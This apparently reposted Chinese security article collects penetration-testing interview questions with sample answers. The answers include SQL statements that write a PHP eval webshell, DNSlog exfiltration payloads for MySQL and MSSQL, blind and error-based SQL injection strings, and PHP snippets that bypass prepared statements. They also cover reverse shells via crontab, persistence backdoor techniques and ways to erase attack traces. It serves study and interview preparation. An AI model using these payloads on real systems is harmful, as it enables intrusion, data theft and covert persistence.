16

渗透测试面试近期热门题

 4 years ago
source link: https://www.freebuf.com/vuls/228750.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前言

近期面试喜欢问的问题,总结了一下。

岗位分析

整体安全行业,随着网络安全的大火,Web安全入门浅,培训机构遍地开会,大量花里胡哨的人才都争着用了进来,所以想要突出,必须要有自己的一技之长。

那么当前网络安全的技术岗位,热门方向有很多,说几个例子。

逆向 APT 代码审计 区块链 渗透(不限于内网、CS客户端,APP,小程序,微服务等)

常见面试题及参考

问:MySQL写WebShell有几种方式,利用条件

答:

一、

 union select 后写入
 lines terminated by 写入
 lines starting by 写入
 fields terminated by 写入
 COLUMNS terminated by 写入

二、

root权限

GPC关闭(能使用单引号),magic_quotes_gpc=On

有绝对路径(读文件可以不用,写文件必须)

没有配置–secure-file-priv

成功条件:有读写的权限,有create、insert、select的权限

问:Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mssql 下又如何?

答:

(1)没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。

(2)此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。

(3)Mysql 中利用 load_file() 构造payload

‘ and if((select load_file(concat(‘\\\\’,(select database()),’.xxx.ceye.io\\abc’))),1,0)#

(4)Mssql 下利用 master..xp_dirtree 构造payload

DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\’+@host+’\foobar$”‘);

问:phpmyadmin写sehll的方法

答:

一、常规导入shell的操作

创建数据表导出shell

CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );

INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘<?php @eval($_POST[pass]);?>’);

SELECT `content` FROM `shadow9` INTO OUTFILE ‘C:\\phpStudy\\WWW\\90sec.php’;

DROP TABLE IF EXISTS `shadow9`;

二、一句话导出shell:

select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php';  
select '<?php @eval($_POST[pass]);?>' into outfile 'c:\\phpstudy\\www\\90sec.php';
select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\\phpstudy\\www\\bypass.php';

三、日志备份获取shell

show global variables like "%genera%";          //查询general_log配置
set global general_log='on';              //开启general log模式
SET global general_log_file='D:/phpStudy/WWW/cmd.php';    //设置日志文件保存路径
SELECT '<?php phpinfo();?>';              //phpinfo()写入日志文件
set global general_log='off';              //关闭general_log模式

问:权限维持的方法

答:

留自启动后门方法很多,大多数都添加到服务,加注册表 加启动项,

windows:

1.替换系统文件类(shift后门,放大镜后门)

2.修改注册表类

自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、影子账户、AppCertDlls注册表项、AppInit_DLLs注册表项、文件关联、用户登陆初始化、xx.Netsh Helper DLL

3.文件类

自启动文件夹、office Word StartUp劫持

4.计划任务

schtasks 、WMI、bitsadmin

Linux

 1.预加载型动态链接库后门
 2.strace后门
 3.SSH 后门
 4.SUID后门
 5.inetd服务后门
 6.协议后门
 7.vim后门
 8.PAM后门
 9.进程注入
 10.Rootkit
 11.端口复用

MSF权限维持

 1.Persistence模块
 2.Metsvc 模块

Powershell权限维持

CS权限维持

SC命令

问:XXE 漏洞原理,代码审计如何寻找?

答:

(1)XXE (XML 外部实体注入)当 应用允许引用 XML 外部实体时,攻击者通过构造恶意内容,就可能进行任意文件读取、系统命令执行、内网端口探测、内网网站攻击等操作。

支持的协议如下图:

riiuuiv.jpg!web

Java:支持http、https、file、ftp、mailto、jar、netdoc、(1.8不支持gopher)

(2)审计函数,涉及到XML文件处理,都可能造成 XXE

(3)防御方法:禁用外部实体

问:SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?

答:

(1)利用进制转换

(2)利用DNS解析

(3)利用句号(127。0。0。1)

(4)利用[::](http://[::]:80/);

(5)利用@( http://[email protected] );

(6)利用短地址( http://dwz.cn/11SMa );

(7)协议(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)

问:应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件

答:

(1)任务管理器netstat -anp寻找异常进程PID看端口信息,然后根据端口信息定位到文件,cd /proc/PID (ls -l查看),

禁用可疑的服务项。

(2)windows还可以用wmic分析进程参数

问:struts2框架漏洞原理

答:

 (1)struts是java的web框架
 (2)采取OGNL表达式,处理view层数据字符串到controller层转换成java对象
 (3)重点关注的编号加粗如下

S2-057 影响范围非常小

S2-048 影响范围非常小

S2-046 和S2-045一样

S2-045 影响范围较大—-通过Content-Type这个header头,进而执行命令,通过Strus2对错误消息处理进行回显

S2-037 影响范围小

S2-032 影响范围小

S2-020 影响范围小

S2-019 影响范围一般

S2-016 影响范围非常大

S2-013 S2-016范围内

S2-009 S2-016范围内

S2-005 S2-016范围内

问:JAVA反序列化原理

答:

(1)Java序列化指Java对象转换为字节序列的过程

(2)Java反序列化指字节序列恢复为Java对象的过程

(3) Commons-collections 爆出第一个漏洞开始,Java反序列化漏洞的事件就层出不穷。

(4)在Java中,利用ObjectInputStream的readObject方法进行对象读取

(5)可以深入了解 ysoserial有哪些gadgets

问:cors如何产生,有哪些利用方式?绕过同源策略的方法有哪些?jsonp跨域如何利用?

答:

(1)CORS全称是”跨域资源共享”(Cross-origin resource sharing),Origin源未严格,从而造成跨域问题,允许浏览器向跨源服务器,发出 XMLHttpRequest 请求

(2)Origin为*的时候,使用curl测试CORS,

curl <url> -H “Origin: https://evil.com ” -I

再寻找的api接口是否有敏感信息泄漏。

(3)同源:协议相同、域名相同、端口相同,绕过同源策略限制的方法:

 1、document.domain属性
 2、片段识别符(URL后加#号)
 3、window.name
 4、跨文档通信API
 5、JSONP
 6、CORS
 7、WebSockets

(4)jsonp跨域利用:获取JSON数据并编码发送到远程服务器上

问:phar协议如何利用,php伪协议input与post数据包发送有什么区别?

答:

(1)可以Bypass一些waf,绕过上传限制

(2)Phar反序列化,Phar:// 伪协议读取phar文件时,会反序列化meta-data储存

(3) 区别

一、 application/x-www-form-urlencoded 或 multipart/form-data时

php://input 中是原始数据。

$_POST 中是关联数组,且没有上传控件的内容。

二、enctype=”multipart/form-data” 时

php://input 是无效的。

三、 Content-Type = “text/plain”时

$_POST 不能获取post的数据, php://input可以。

问:内网服务器,如何进行信息收集

答:

(1)手动,用一些小工具(批量看存活)

new user /domain查域、net view看共享、hosts文件内网ip域名映射、wifi记录和密码、浏览器中的密码、敏感文件、各类服务的配置文件中信息、历史命令、ssh私钥、FTP的连接信息、xshell等ssh连接工具的session文件,3389连接历史和被连接历史信息、某些内网api接口未授权访问

(2)扫描器

主机扫描、端口扫描、漏洞扫描、识别内网环境、密码爆破、抓密码

(3)留后门,抓信息

问:内网黄金票据、白银票据的区别和利用方式

答:

(1)白银票据:抓取到了域控服务hash的情况下,在客户端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。

黄金票据:直接抓取域控中账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。

(2)通过mimkatz执行,导出域控中账号的Hash

问:docker远程api漏洞原理

答:

(1)docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,该未授权访问,可以通过url操作,执行docker命令。

(2)通过docker client执行目标服务器容器命令,docker是以root权限运行的

一、有运行ssh服务,/root/.ssh目录挂载到container内,,然后修改/.ssh/authorized_keys 文件,把自己的public key写进去

二、没有运行ssh服务,利用挂载写crontab定时任务,反弹一个shell

问:ssrf怎么用redis写shell

答:

(1)SSRF服务端请求伪造

一、对内网扫描,获取 banner

二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)

三、利用协议读取本地文件

四、 云计算环境AWS Google Cloud 环境可以调用内网操作 ECS 的 API

(2)如webligic SSRF漏洞

通过SSRF的gopher协议操作内网的redis,利用redis将反弹shell写入crontab定时任务,url编码,将\r字符串替换成%0d%0a

问:预编译能否100%防sql注入,如果不能,写一个

答:

不能。

一、

$pdo->query('SET NAMES gbk');
$var = "\xbf\x27 OR 1=1 /*";
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';
$stmt = $pdo->prepare($query);
$stmt->execute(array($var));

类似于宽字节注入

二、

$dbh = new PDO("txf");
$name = $_GET['name'];
$stmt = $dbh->prepare('SELECT * FROM ' . $name . ' where username = :username');
$stmt->execute( array(':username' => $_REQUEST['username']) );

参数name是一串数组,PDO不会生效

三、

$stmt = $dbh->prepare('SELECT * FROM foo ORDER BY :userSuppliedData');

PDO对DDL不生效

问:WAF 绕过

答:

 1 注释替换空格 
 2 字符集绕过
 3 chunked绕过
 4 上传请求 multipart 绕过
 5.参数污染
 。。。

问:SQL注入构造payload

答:

一、布尔型盲注

(1)mysql :

‘and (length(database()))>10 –+

(2)oracle:

‘ and 1=(select decode(user,’SCOTT’,1,0) from dual) –

二、时间型盲注

and if(ascii(substr((select database()),1,1))>115,1,sleep(5))

三、利用报错回显

(1) extractvalue

and extractvalue(1,concat(0x7e,(select database())))

(2) updatexml

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

问:UDF提权原理

答:利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd

问:提权方式

答:

windows:

 1.systminfo  ,根据系统补丁提权
 2.第三方服务提权
 3.数据库提权
 。。。

linux:

 1.利用系统内核漏洞进行提权 
 2.泄漏密码提权
 3.sudo提权
 4.SUID提权
 。。。

问:XSS弹窗函数及常见的 XSS 绕过策略

答:

一、alert,confirm,prompt三种函数

二、绕过策略

 1. 大小写混合
 2. 双写
 3.编码
 4. fuzz 低频使用标签 <details/open/ontoggle>
 5. fuzz 低频使用函数 ontoggle 等
 6.<img/src=1>
 7.%0a或者%0d绕过

问:Windows cmd 如何下载文件

答:

 1.certutil.exe
 2.powershell
 3.bitsadmin
 4.vbs
 5.ftp

问:SVN/GIT源代码泄露

答:

(1)在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息

/.git/config

(2)使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞

/.svn/entries

问:reverse_tcp 和 bind_tcp 的区别

答:

(1)reverse_tcp

木马会主动连接目标服务器

(2)bind_tcp

木马会监听本地的端口

什么是fastjson,有哪些漏洞?

答:

(1)Fastjson是Alibaba开发的Java语言编写的高性能JSON库

(2)攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE

(3)fastjson漏洞历史

1.fastjson-1.2.24

(fastjson接受的JSON可以通过艾特type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作)

2.fastjson-1.248以下

(checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测)

3.fastjson-1.2.60以下

(在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞)

问:隐藏攻击痕迹的方法

答:

 1.跳板
 2.代理服务器
 3.Tor
 4.日志
 5.清除历史记录
 6.粉碎文件

理解漏洞

讲诉一些近期及有代表性的漏洞

Microsoft Exchange .Net反序列化远程代码执行(CVE-2020-0688)

该漏洞是由于Exchange控制面板(ECP)组件中使用了静态密钥validationKey和decryptionKey

Apache Tomcat 文件包含漏洞(CVE-2020-1938)

默认情况下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的请求,可以读取或者包含Web根目录下的任意文件,配合文件上传,将导致任意代码执行(RCE)

Weblogic IIOP反序列化漏洞(CVE-2020-2551)

weblogic核心组件中IIOP协议,通过该协议对存在漏洞的WebLogic进行远程代码执行的攻击

Apache Solr远程代码执行(CVE-2019-12409)

默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果使用默认配置,将启用JMX监视服务并将对公网监听18983的RMI端口,无需任何验证,配合JMX RMI远程代码执行

SHIRO-550 反序列化漏洞

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化

AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞

SHIRO-721反序列化漏洞

不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击

泛微Ecology OA SQL注入漏洞

validate.jsp接口的SQL注入,/cpt/manage/validate.jsp

泛微ecology OA系统接口存在数据库配置信息泄露

/mobile/dbconfigreader.jsp,直接访问该页面将为DES加密以后的乱码,使用DES算法结合硬编码的key进行解密

Confluence本地文件泄露漏洞(CVE-2019-3394)

catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的getResource方法的validate存在过滤和限制,所以可遍历路径均在/WEB-INF下

Apache Dubbo反序列化漏洞(CVE-2019-17564)

当HTTP remoting 开启的时候,存在反序列化漏洞

*本文原创作者:绿帽子技术分享,本文属于FreeBuf原创奖励计划,未经许可禁止转载


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK